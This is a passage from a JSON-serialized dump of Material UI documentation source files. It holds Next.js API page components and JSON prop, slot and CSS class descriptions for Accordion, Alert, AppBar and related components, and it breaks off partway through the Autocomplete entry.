href=\\\"/material-ui/react-accordion/\\\">Accordion</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/accordion-details.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './accordion-details.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/accordion-details',\n    false,\n    /\\.\\/accordion-details.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/accordion-details.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"AccordionDetails\",\n  \"imports\": [\n    \"import AccordionDetails from '@mui/material/AccordionDetails';\",\n    \"import { AccordionDetails } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiAccordionDetails-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiAccordionDetails\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/AccordionDetails/AccordionDetails.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-accordion/\\\">Accordion</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/accordion-summary.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './accordion-summary.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/accordion-summary',\n    false,\n    /\\.\\/accordion-summary.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/accordion-summary.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"expandIcon\": { \"type\": { \"name\": \"node\" } },\n    \"focusVisibleClassName\": { \"type\": { \"name\": \"string\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ content?: func<br>&#124;&nbsp;object, expandIconWrapper?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ content?: elementType, expandIconWrapper?: elementType, root?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"AccordionSummary\",\n  \"imports\": [\n    \"import AccordionSummary from '@mui/material/AccordionSummary';\",\n    \"import { AccordionSummary } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"ButtonBase\",\n      \"class\": \"MuiAccordionSummary-root\"\n    },\n    {\n      \"name\": \"content\",\n      \"description\": \"The component that renders the content slot.\",\n      \"default\": \"div\",\n      \"class\": \"MuiAccordionSummary-content\"\n    },\n    {\n      \"name\": \"expandIconWrapper\",\n      \"description\": \"The component that renders the expand icon wrapper slot.\",\n      \"default\": \"div\",\n      \"class\": \"MuiAccordionSummary-expandIconWrapper\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"expanded\",\n      \"className\": \"Mui-expanded\",\n      \"description\": \"State class applied to the root element, children wrapper element and `IconButton` component if `expanded={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the ButtonBase root element if the button is keyboard focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"gutters\",\n      \"className\": \"MuiAccordionSummary-gutters\",\n      \"description\": \"Styles applied to the root element unless `disableGutters={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiAccordionSummary\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/AccordionSummary/AccordionSummary.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-accordion/\\\">Accordion</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/accordion.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './accordion.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/accordion',\n    false,\n    /\\.\\/accordion.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/accordion.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"node\" }, \"required\": true },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"defaultExpanded\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableGutters\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"expanded\": { \"type\": { \"name\": \"bool\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent, expanded: boolean) => void\",\n        \"describedArgs\": [\"event\", \"expanded\"]\n      }\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ heading?: func<br>&#124;&nbsp;object, region?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, transition?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ heading?: elementType, region?: elementType, root?: elementType, transition?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Accordion\",\n  \"imports\": [\n    \"import Accordion from '@mui/material/Accordion';\",\n    \"import { Accordion } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"Paper\",\n      \"class\": \"MuiAccordion-root\"\n    },\n    {\n      \"name\": \"heading\",\n      \"description\": \"The component that renders the heading.\",\n      \"default\": \"'h3'\",\n      \"class\": \"MuiAccordion-heading\"\n    },\n    {\n      \"name\": \"transition\",\n      \"description\": \"The component that renders the transition.\\n[Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\",\n      \"default\": \"Collapse\",\n      \"class\": null\n    },\n    {\n      \"name\": \"region\",\n      \"description\": \"The component that renders the region.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiAccordion-region\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"expanded\",\n      \"className\": \"Mui-expanded\",\n      \"description\": \"State class applied to the root element if `expanded={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"gutters\",\n      \"className\": \"MuiAccordion-gutters\",\n      \"description\": \"Styles applied to the root element unless `disableGutters={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"rounded\",\n      \"className\": \"MuiAccordion-rounded\",\n      \"description\": \"Styles applied to the root element unless `square={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiAccordion\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Accordion/Accordion.js\",\n  \"inheritance\": { \"component\": \"Paper\", \"pathname\": \"/material-ui/api/paper/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-accordion/\\\">Accordion</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/alert-title.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './alert-title.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/alert-title',\n    false,\n    /\\.\\/alert-title.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/alert-title.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"AlertTitle\",\n  \"imports\": [\n    \"import AlertTitle from '@mui/material/AlertTitle';\",\n    \"import { AlertTitle } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiAlertTitle-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiAlertTitle\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/AlertTitle/AlertTitle.js\",\n  \"inheritance\": { \"component\": \"Typography\", \"pathname\": \"/material-ui/api/typography/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-alert/\\\">Alert</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/alert.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './alert.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/alert', false, /\\.\\/alert.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/alert.json",
    "content": "{\n  \"props\": {\n    \"action\": { \"type\": { \"name\": \"node\" } },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"closeText\": { \"type\": { \"name\": \"string\" }, \"default\": \"'Close'\" },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      }\n    },\n    \"icon\": { \"type\": { \"name\": \"node\" } },\n    \"iconMapping\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ error?: node, info?: node, success?: node, warning?: node }\"\n      }\n    },\n    \"onClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"role\": { \"type\": { \"name\": \"string\" }, \"default\": \"'alert'\" },\n    \"severity\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'success'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ action?: func<br>&#124;&nbsp;object, closeButton?: func<br>&#124;&nbsp;object, closeIcon?: func<br>&#124;&nbsp;object, icon?: func<br>&#124;&nbsp;object, message?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ action?: elementType, closeButton?: elementType, closeIcon?: elementType, icon?: elementType, message?: elementType, root?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'filled'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;'standard'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'standard'\"\n    }\n  },\n  \"name\": \"Alert\",\n  \"imports\": [\"import Alert from '@mui/material/Alert';\", \"import { Alert } from '@mui/material';\"],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"Paper\",\n      \"class\": \"MuiAlert-root\"\n    },\n    {\n      \"name\": \"icon\",\n      \"description\": \"The component that renders the icon slot.\",\n      \"default\": \"div\",\n      \"class\": \"MuiAlert-icon\"\n    },\n    {\n      \"name\": \"message\",\n      \"description\": \"The component that renders the message slot.\",\n      \"default\": \"div\",\n      \"class\": \"MuiAlert-message\"\n    },\n    {\n      \"name\": \"action\",\n      \"description\": \"The component that renders the action slot.\",\n      \"default\": \"div\",\n      \"class\": \"MuiAlert-action\"\n    },\n    {\n      \"name\": \"closeButton\",\n      \"description\": \"The component that renders the close button.\",\n      \"default\": \"IconButton\",\n      \"class\": null\n    },\n    {\n      \"name\": \"closeIcon\",\n      \"description\": \"The component that renders the close icon.\",\n      \"default\": \"svg\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"colorError\",\n      \"className\": \"MuiAlert-colorError\",\n      \"description\": \"Styles applied to the root element if `color=\\\"error\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorInfo\",\n      \"className\": \"MuiAlert-colorInfo\",\n      \"description\": \"Styles applied to the root element if `color=\\\"info\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSuccess\",\n      \"className\": \"MuiAlert-colorSuccess\",\n      \"description\": \"Styles applied to the root element if `color=\\\"success\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorWarning\",\n      \"className\": \"MuiAlert-colorWarning\",\n      \"description\": \"Styles applied to the root element if `color=\\\"warning\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"filled\",\n      \"className\": \"MuiAlert-filled\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"filled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiAlert-outlined\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"standard\",\n      \"className\": \"MuiAlert-standard\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"standard\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiAlert\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Alert/Alert.js\",\n  \"inheritance\": { \"component\": \"Paper\", \"pathname\": \"/material-ui/api/paper/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-alert/\\\">Alert</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/app-bar.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './app-bar.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/app-bar', false, /\\.\\/app-bar.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/app-bar.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'default'<br>&#124;&nbsp;'inherit'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'transparent'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"elevation\": { \"type\": { \"name\": \"number\" }, \"default\": \"4\" },\n    \"enableColorOnDark\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"position\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'absolute'<br>&#124;&nbsp;'fixed'<br>&#124;&nbsp;'relative'<br>&#124;&nbsp;'static'<br>&#124;&nbsp;'sticky'\"\n      },\n      \"default\": \"'fixed'\"\n    },\n    \"square\": { \"type\": { \"name\": \"bool\" }, \"default\": \"true\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"AppBar\",\n  \"imports\": [\n    \"import AppBar from '@mui/material/AppBar';\",\n    \"import { AppBar } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"colorDefault\",\n      \"className\": \"MuiAppBar-colorDefault\",\n      \"description\": \"Styles applied to the root element if `color=\\\"default\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorError\",\n      \"className\": \"MuiAppBar-colorError\",\n      \"description\": \"Styles applied to the root element if `color=\\\"error\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorInfo\",\n      \"className\": \"MuiAppBar-colorInfo\",\n      \"description\": \"Styles applied to the root element if `color=\\\"info\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorInherit\",\n      \"className\": \"MuiAppBar-colorInherit\",\n      \"description\": \"Styles applied to the root element if `color=\\\"inherit\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiAppBar-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiAppBar-colorSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSuccess\",\n      \"className\": \"MuiAppBar-colorSuccess\",\n      \"description\": \"Styles applied to the root element if `color=\\\"success\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorTransparent\",\n      \"className\": \"MuiAppBar-colorTransparent\",\n      \"description\": \"Styles applied to the root element if `color=\\\"transparent\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorWarning\",\n      \"className\": \"MuiAppBar-colorWarning\",\n      \"description\": \"Styles applied to the root element if `color=\\\"warning\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionAbsolute\",\n      \"className\": \"MuiAppBar-positionAbsolute\",\n      \"description\": \"Styles applied to the root element if `position=\\\"absolute\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionFixed\",\n      \"className\": \"MuiAppBar-positionFixed\",\n      \"description\": \"Styles applied to the root element if `position=\\\"fixed\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionRelative\",\n      \"className\": \"MuiAppBar-positionRelative\",\n      \"description\": \"Styles applied to the root element if `position=\\\"relative\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionStatic\",\n      \"className\": \"MuiAppBar-positionStatic\",\n      \"description\": \"Styles applied to the root element if `position=\\\"static\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionSticky\",\n      \"className\": \"MuiAppBar-positionSticky\",\n      \"description\": \"Styles applied to the root element if `position=\\\"sticky\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiAppBar-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiAppBar\",\n  \"forwardsRefTo\": \"HTMLElement\",\n  \"filename\": \"/packages/mui-material/src/AppBar/AppBar.js\",\n  \"inheritance\": { \"component\": \"Paper\", \"pathname\": \"/material-ui/api/paper/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-app-bar/\\\">App Bar</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/autocomplete.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './autocomplete.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/autocomplete',\n    false,\n    /\\.\\/autocomplete.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/autocomplete.json",
    "content": "{\n  \"props\": {\n    \"options\": { \"type\": { \"name\": \"array\" }, \"required\": true },\n    \"renderInput\": {\n      \"type\": { \"name\": \"func\" },\n      \"required\": true,\n      \"signature\": { \"type\": \"function(params: object) => ReactNode\", \"describedArgs\": [] }\n    },\n    \"autoComplete\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"autoHighlight\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"autoSelect\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"blurOnSelect\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'mouse'<br>&#124;&nbsp;'touch'<br>&#124;&nbsp;bool\"\n      },\n      \"default\": \"false\"\n    },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"clearIcon\": { \"type\": { \"name\": \"node\" }, \"default\": \"<ClearIcon fontSize=\\\"small\\\" />\" },\n    \"clearOnBlur\": { \"type\": { \"name\": \"bool\" }, \"default\": \"!props.freeSolo\" },\n    \"clearOnEscape\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"clearText\": { \"type\": { \"name\": \"string\" }, \"default\": \"'Clear'\" },\n    \"closeText\": { \"type\": { \"name\": \"string\" }, \"default\": \"'Close'\" },\n    \"defaultValue\": {\n      \"type\": { \"name\": \"custom\", \"description\": \"any\" },\n      \"default\": \"props.multiple ? [] : null\"\n    },\n    \"disableClearable\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableCloseOnSelect\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disabledItemsFocusable\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableListWrap\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disablePortal\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"filterOptions\": {\n      \"type\": { \"name\": \"func\" },\n      \"default\": \"createFilterOptions()\",\n      \"signature\": {\n        \"type\": \"function(options: Array<Value>, state: object) => Array<Value>\",\n        \"describedArgs\": [\"options\", \"state\"]\n      }\n    },\n    \"filterSelectedOptions\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"forcePopupIcon\": {\n      \"type\": { \"name\": \"union\", \"description\": \"'auto'<br>&#124;&nbsp;bool\" },\n      \"default\": \"'auto'\"\n    },\n    \"freeSolo\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"getLimitTagsText\": {\n      \"type\": { \"name\": \"func\" },\n      \"default\": \"(more) => `+${more}`\",\n      \"signature\": { \"type\": \"function(more: number) => ReactNode\", \"describedArgs\": [\"more\"] }\n    },\n    \"getOptionDisabled\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": { \"type\": \"function(option: Value) => boolean\", \"describedArgs\": [\"option\"] }\n    },\n    \"getOptionKey\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(option: Value) => string | number\",\n        \"describedArgs\": [\"option\"]\n      }\n    },\n    \"getOptionLabel\": {\n      \"type\": { \"name\": \"func\" },\n      \"default\": \"(option) => option.label ?? option\",\n      \"signature\": { \"type\": \"function(option: Value | string) => string\", \"describedArgs\": [] }\n    },\n    \"groupBy\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": { \"type\": \"function(option: Value) => string\", \"describedArgs\": [\"option\"] }\n    },\n    \"handleHomeEndKeys\": { \"type\": { \"name\": \"bool\" }, \"default\": \"!props.freeSolo\" },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"includeInputInList\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"inputValue\": { \"type\": { \"name\": \"string\" } },\n    \"isOptionEqualToValue\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(option: Value, value: Value | string) => boolean\",\n        \"describedArgs\": [\"option\", \"value\"]\n      }\n    },\n    \"limitTags\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"-1\" },\n    \"loading\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"loadingText\": { \"type\": { \"name\": \"node\" }, \"default\": \"'Loading…'\" },\n    \"multiple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"noOptionsText\": { \"type\": { \"name\": \"node\" }, \"default\": \"'No options'\" },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent, value: Value | Array<Value>, reason: string, details?: string) => void\",\n        \"describedArgs\": [\"event\", \"value\", \"reason\"]\n      }\n    },\n    \"onClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent, reason: string) => void\",\n        \"describedArgs\": [\"event\", \"reason\"]\n      }\n    },\n    \"onHighlightChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: 